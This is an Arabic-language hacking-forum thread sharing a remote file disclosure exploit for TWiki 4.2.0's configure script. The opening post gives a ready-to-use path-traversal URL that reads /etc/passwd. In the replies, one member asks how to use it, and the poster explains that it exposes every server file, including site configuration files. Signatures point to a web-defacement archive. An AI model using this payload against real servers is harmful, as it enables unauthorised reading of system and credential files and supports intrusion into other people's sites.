TWiki 4.2.0 (configure) Remote File Disclosure Vulnerability

Qtr Linux

TWiki 4.2.0 (configure) Remote File Disclosure Vulnerability

Exploit

---------------
http://www.examplo.org/{PATH}/bin/configure?action=image;image=../../../../../../etc/passwd;type=text/plain

----------


http://milw0rm.com/exploits/6269

التوقيع

الكبير طول عمره كبير

Dra Alsunna

هل ممكن تشرح لنا كيفية الاستغلال

التوقيع

قَاتِلُوهُمْ يُعَذِّبْهُمُ اللّهُ بِأَيْدِيكُمْ وَيُخْزِهِمْ وَيَنصُرْكُمْ عَلَيْهِمْ وَيَشْفِ صُدُورَ قَوْمٍ مُّؤْمِنِينَ Dra Alsunna Zone-H.org - Unrestricted Information - Digital Attacks Archive: today's verified attacks Group XP Zone-H.org - Unrestricted Information - Digital Attacks Archive: today's verified attacks

Qtr Linux

اخوي
هذي الثغرة تقدر تقرأ كل ملفات السيرفر والمواقع
وبه ملفات خطيرة جداَ
حتى انك تقدر تقرأ الكونفيقات وووو
اشياء خطيرة وان شاء الله بنتطرق لها بدورة من صلاح

التوقيع

الكبير طول عمره كبير

سلطانوو

شكرلك عل الثغرات الرائعه